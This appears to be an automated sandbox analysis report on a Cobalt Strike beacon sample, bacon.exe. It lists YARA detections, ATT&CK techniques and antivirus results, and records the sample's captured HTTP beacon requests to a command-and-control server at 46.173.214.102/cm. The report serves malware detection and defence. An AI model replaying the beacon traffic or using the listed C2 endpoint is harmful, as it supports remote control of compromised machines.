Source: global traffic	HTTP traffic detected: GET /cm HTTP/1.1Accept: /Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)Host: 46.173.214.102Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cm HTTP/1.1Accept: /Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)Host: 46.173.214.102Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cm HTTP/1.1Accept: /Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)Host: 46.173.214.102Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cm HTTP/1.1Accept: /Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)Host: 46.173.214.102Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cm HTTP/1.1Accept: /Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)Host: 46.173.214.102Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cm HTTP/1.1Accept: /Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)Host: 46.173.214.102Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cm HTTP/1.1Accept: /Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)Host: 46.173.214.102Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cm HTTP/1.1Accept: /Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)Host: 46.173.214.102Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cm HTTP/1.1Accept: /Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)Host: 46.173.214.102Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cm HTTP/1.1Accept: /Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)Host: 46.173.214.102Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cm HTTP/1.1Accept: /Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)Host: 46.173.214.102Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cm HTTP/1.1Accept: /Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)Host: 46.173.214.102Connection: Keep-AliveCache-Control: no-cache

Source: bacon.exe, 00000000.00000002.648439422.0000000000330000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:%u/
Source: bacon.exe, 00000000.00000002.648509802.00000000006A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.173.214.102/cm

System Summary

Malicious sample detected (through community Yara rule)

Source: 00000000.00000002.648425822.00000000002C0000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Attempts to detect Cobalt Strike based on strings found in BEACON Author: unknown
Source: 00000000.00000002.648425822.00000000002C0000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Identifies CobaltStrike via unidentified function code Author: unknown
Source: 00000000.00000002.648425822.00000000002C0000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Meterpreter Beacon - file K5om.dll Author: Florian Roth
Source: 00000000.00000002.648425822.00000000002C0000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects unmodified CobaltStrike beacon DLL Author: yara@s3c.za.net
Source: 00000000.00000002.648425822.00000000002C0000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Cobalt Strike sample from Leviathan report Author: Florian Roth
Source: 00000000.00000002.648425822.00000000002C0000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Cobalt Strike loader Author: @VK_Intel
Source: 00000000.00000002.648425822.00000000002C0000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects reflective loader (Cobalt Strike) used in Operation Wilted Tulip Author: Florian Roth
Source: 00000000.00000002.648425822.00000000002C0000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: detects Reflective DLL injection artifacts Author: ditekSHen
Source: 00000000.00000002.648425822.00000000002C0000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: CobaltStrike payload Author: ditekSHen
Source: 00000000.00000002.648439422.0000000000330000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Attempts to detect Cobalt Strike based on strings found in BEACON Author: unknown
Source: 00000000.00000002.648439422.0000000000330000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Identifies CobaltStrike via unidentified function code Author: unknown
Source: 00000000.00000002.648439422.0000000000330000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Meterpreter Beacon - file K5om.dll Author: Florian Roth
Source: 00000000.00000002.648439422.0000000000330000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects unmodified CobaltStrike beacon DLL Author: yara@s3c.za.net
Source: 00000000.00000002.648439422.0000000000330000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Cobalt Strike sample from Leviathan report Author: Florian Roth
Source: 00000000.00000002.648439422.0000000000330000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Cobalt Strike loader Author: @VK_Intel
Source: 00000000.00000002.648439422.0000000000330000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects reflective loader (Cobalt Strike) used in Operation Wilted Tulip Author: Florian Roth
Source: 00000000.00000002.648439422.0000000000330000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: CobaltStrike payload Author: ditekSHen
Source: Process Memory Space: bacon.exe PID: 3636, type: MEMORYSTR	Matched rule: Attempts to detect Cobalt Strike based on strings found in BEACON Author: unknown
Source: Process Memory Space: bacon.exe PID: 3636, type: MEMORYSTR	Matched rule: Detects unmodified CobaltStrike beacon DLL Author: yara@s3c.za.net
Source: Process Memory Space: bacon.exe PID: 3636, type: MEMORYSTR	Matched rule: Detects reflective loader (Cobalt Strike) used in Operation Wilted Tulip Author: Florian Roth

Source: 00000000.00000002.648425822.00000000002C0000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_CobaltStrike_ee756db7 os = windows, severity = x86, description = Attempts to detect Cobalt Strike based on strings found in BEACON, creation_date = 2021-03-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.CobaltStrike, fingerprint = e589cc259644bc75d6c4db02a624c978e855201cf851c0d87f0d54685ce68f71, id = ee756db7-e177-41f0-af99-c44646d334f7, last_modified = 2021-08-23
Source: 00000000.00000002.648425822.00000000002C0000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_CobaltStrike_663fc95d os = windows, severity = x86, description = Identifies CobaltStrike via unidentified function code, creation_date = 2021-04-01, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.CobaltStrike, fingerprint = d0f781d7e485a7ecfbbfd068601e72430d57ef80fc92a993033deb1ddcee5c48, id = 663fc95d-2472-4d52-ad75-c5d86cfc885f, last_modified = 2021-12-17
Source: 00000000.00000002.648425822.00000000002C0000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Beacon_K5om date = 2017-06-07, hash1 = e3494fd2cc7e9e02cff76841630892e4baed34a3e1ef2b9ae4e2608f9a4d7be9, author = Florian Roth, description = Detects Meterpreter Beacon - file K5om.dll, reference = https://www.fireeye.com/blog/threat-research/2017/06/phished-at-the-request-of-counsel.html, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 00000000.00000002.648425822.00000000002C0000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: CobaltStrike_Unmodifed_Beacon date = 2019-08-16, author = yara@s3c.za.net, description = Detects unmodified CobaltStrike beacon DLL
Source: 00000000.00000002.648425822.00000000002C0000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Leviathan_CobaltStrike_Sample_1 date = 2017-10-18, hash1 = 5860ddc428ffa900258207e9c385f843a3472f2fbf252d2f6357d458646cf362, author = Florian Roth, description = Detects Cobalt Strike sample from Leviathan report, reference = https://goo.gl/MZ7dRg, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 00000000.00000002.648425822.00000000002C0000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: crime_win32_csbeacon_1 date = 2020-03-16, author = @VK_Intel, description = Detects Cobalt Strike loader, reference = https://twitter.com/VK_Intel/status/1239632822358474753
Source: 00000000.00000002.648425822.00000000002C0000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: WiltedTulip_ReflectiveLoader date = 2017-07-23, hash5 = eee430003e7d59a431d1a60d45e823d4afb0d69262cc5e0c79f345aa37333a89, hash4 = cf7c754ceece984e6fa0d799677f50d93133db609772c7a2226e7746e6d046f0, hash3 = a159a9bfb938de686f6aced37a2f7fa62d6ff5e702586448884b70804882b32f, hash2 = 1f52d643e8e633026db73db55eb1848580de00a203ee46263418f02c6bdb8c7a, hash1 = 1097bf8f5b832b54c81c1708327a54a88ca09f7bdab4571f1a335cc26bbd7904, author = Florian Roth, description = Detects reflective loader (Cobalt Strike) used in Operation Wilted Tulip, reference = http://www.clearskysec.com/tulip, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 00000000.00000002.648425822.00000000002C0000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_ReflectiveLoader author = ditekSHen, description = detects Reflective DLL injection artifacts
Source: 00000000.00000002.648425822.00000000002C0000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_CobaltStrike author = ditekSHen, description = CobaltStrike payload
Source: 00000000.00000002.648439422.0000000000330000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_CobaltStrike_ee756db7 os = windows, severity = x86, description = Attempts to detect Cobalt Strike based on strings found in BEACON, creation_date = 2021-03-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.CobaltStrike, fingerprint = e589cc259644bc75d6c4db02a624c978e855201cf851c0d87f0d54685ce68f71, id = ee756db7-e177-41f0-af99-c44646d334f7, last_modified = 2021-08-23
Source: 00000000.00000002.648439422.0000000000330000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_CobaltStrike_663fc95d os = windows, severity = x86, description = Identifies CobaltStrike via unidentified function code, creation_date = 2021-04-01, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.CobaltStrike, fingerprint = d0f781d7e485a7ecfbbfd068601e72430d57ef80fc92a993033deb1ddcee5c48, id = 663fc95d-2472-4d52-ad75-c5d86cfc885f, last_modified = 2021-12-17
Source: 00000000.00000002.648439422.0000000000330000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Beacon_K5om date = 2017-06-07, hash1 = e3494fd2cc7e9e02cff76841630892e4baed34a3e1ef2b9ae4e2608f9a4d7be9, author = Florian Roth, description = Detects Meterpreter Beacon - file K5om.dll, reference = https://www.fireeye.com/blog/threat-research/2017/06/phished-at-the-request-of-counsel.html, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 00000000.00000002.648439422.0000000000330000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: CobaltStrike_Unmodifed_Beacon date = 2019-08-16, author = yara@s3c.za.net, description = Detects unmodified CobaltStrike beacon DLL
Source: 00000000.00000002.648439422.0000000000330000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Leviathan_CobaltStrike_Sample_1 date = 2017-10-18, hash1 = 5860ddc428ffa900258207e9c385f843a3472f2fbf252d2f6357d458646cf362, author = Florian Roth, description = Detects Cobalt Strike sample from Leviathan report, reference = https://goo.gl/MZ7dRg, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 00000000.00000002.648439422.0000000000330000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: crime_win32_csbeacon_1 date = 2020-03-16, author = @VK_Intel, description = Detects Cobalt Strike loader, reference = https://twitter.com/VK_Intel/status/1239632822358474753
Source: 00000000.00000002.648439422.0000000000330000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: WiltedTulip_ReflectiveLoader date = 2017-07-23, hash5 = eee430003e7d59a431d1a60d45e823d4afb0d69262cc5e0c79f345aa37333a89, hash4 = cf7c754ceece984e6fa0d799677f50d93133db609772c7a2226e7746e6d046f0, hash3 = a159a9bfb938de686f6aced37a2f7fa62d6ff5e702586448884b70804882b32f, hash2 = 1f52d643e8e633026db73db55eb1848580de00a203ee46263418f02c6bdb8c7a, hash1 = 1097bf8f5b832b54c81c1708327a54a88ca09f7bdab4571f1a335cc26bbd7904, author = Florian Roth, description = Detects reflective loader (Cobalt Strike) used in Operation Wilted Tulip, reference = http://www.clearskysec.com/tulip, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 00000000.00000002.648439422.0000000000330000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_CobaltStrike author = ditekSHen, description = CobaltStrike payload
Source: Process Memory Space: bacon.exe PID: 3636, type: MEMORYSTR	Matched rule: Windows_Trojan_CobaltStrike_ee756db7 os = windows, severity = x86, description = Attempts to detect Cobalt Strike based on strings found in BEACON, creation_date = 2021-03-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.CobaltStrike, fingerprint = e589cc259644bc75d6c4db02a624c978e855201cf851c0d87f0d54685ce68f71, id = ee756db7-e177-41f0-af99-c44646d334f7, last_modified = 2021-08-23
Source: Process Memory Space: bacon.exe PID: 3636, type: MEMORYSTR	Matched rule: CobaltStrike_Unmodifed_Beacon date = 2019-08-16, author = yara@s3c.za.net, description = Detects unmodified CobaltStrike beacon DLL
Source: Process Memory Space: bacon.exe PID: 3636, type: MEMORYSTR	Matched rule: WiltedTulip_ReflectiveLoader date = 2017-07-23, hash5 = eee430003e7d59a431d1a60d45e823d4afb0d69262cc5e0c79f345aa37333a89, hash4 = cf7c754ceece984e6fa0d799677f50d93133db609772c7a2226e7746e6d046f0, hash3 = a159a9bfb938de686f6aced37a2f7fa62d6ff5e702586448884b70804882b32f, hash2 = 1f52d643e8e633026db73db55eb1848580de00a203ee46263418f02c6bdb8c7a, hash1 = 1097bf8f5b832b54c81c1708327a54a88ca09f7bdab4571f1a335cc26bbd7904, author = Florian Roth, description = Detects reflective loader (Cobalt Strike) used in Operation Wilted Tulip, reference = http://www.clearskysec.com/tulip, license = https://creativecommons.org/licenses/by-nc/4.0/

Source: classification engine

Classification label: mal100.troj.evad.winEXE@1/0@0/1

Source: bacon.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\bacon.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\Desktop\bacon.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\bacon.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\bacon.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\bacon.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\bacon.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\bacon.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\bacon.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\bacon.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\bacon.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\bacon.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\bacon.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\bacon.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\bacon.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\bacon.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\bacon.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\bacon.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\bacon.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\bacon.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\bacon.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\bacon.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\bacon.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\bacon.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\bacon.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\bacon.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\bacon.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\bacon.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\bacon.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\bacon.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\bacon.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\bacon.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\bacon.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\bacon.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\bacon.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\bacon.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\bacon.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\bacon.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\bacon.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\bacon.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\bacon.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\bacon.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\bacon.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\bacon.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: bacon.exe

ReversingLabs: Detection: 86%

Source: C:\Users\user\Desktop\bacon.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\bacon.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\bacon.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\bacon.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\bacon.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\bacon.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\bacon.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\bacon.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\bacon.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\bacon.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\bacon.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\bacon.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\bacon.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\bacon.exe	Section loaded: rpcrtremote.dll	Jump to behavior

Source: bacon.exe

Static PE information: real checksum: 0x4bba9 should be: 0x4bb69

Source: bacon.exe

Static PE information: section name: .xdata

Source: C:\Users\user\Desktop\bacon.exe	Window / User API: threadDelayed 2386			Jump to behavior
Source: C:\Users\user\Desktop\bacon.exe	Window / User API: threadDelayed 7136			Jump to behavior

Source: C:\Users\user\Desktop\bacon.exe TID: 3640	Thread sleep count: 2386 > 30	Jump to behavior
Source: C:\Users\user\Desktop\bacon.exe TID: 3640	Thread sleep time: -23860000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\bacon.exe TID: 3728	Thread sleep time: -360000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\bacon.exe TID: 3680	Thread sleep time: -240000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\bacon.exe TID: 3640	Thread sleep count: 7136 > 30	Jump to behavior
Source: C:\Users\user\Desktop\bacon.exe TID: 3640	Thread sleep time: -71360000s >= -30000s	Jump to behavior

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\bacon.exe

Thread delayed: delay time: 60000

Jump to behavior

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: bacon.exe PID: 3636, type: MEMORYSTR

Source: C:\Users\user\Desktop\bacon.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Remote Access Functionality

Yara detected CobaltStrike

Source: Yara match	File source: Process Memory Space: bacon.exe PID: 3636, type: MEMORYSTR
Source: Yara match	File source: 00000000.00000002.648425822.00000000002C0000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.648439422.0000000000330000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	11 Virtualization/Sandbox Evasion	OS Credential Dumping	11 Virtualization/Sandbox Evasion	Remote Services	Data from Local System	1 Non-Application Layer Protocol	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 DLL Side-Loading	LSASS Memory	1 Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	111 Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	2 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	1 Remote System Discovery	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label
bacon.exe	86%	ReversingLabs	Win64.Backdoor.CobaltStrike
bacon.exe	100%	Avira	HEUR/AGEN.1344321
bacon.exe	100%	Joe Sandbox ML

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

⊘No Antivirus matches

Domains and IPs

Contacted Domains

⊘No contacted domains info

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://46.173.214.102/cm	true		unknown
46.173.214.102	true		unknown

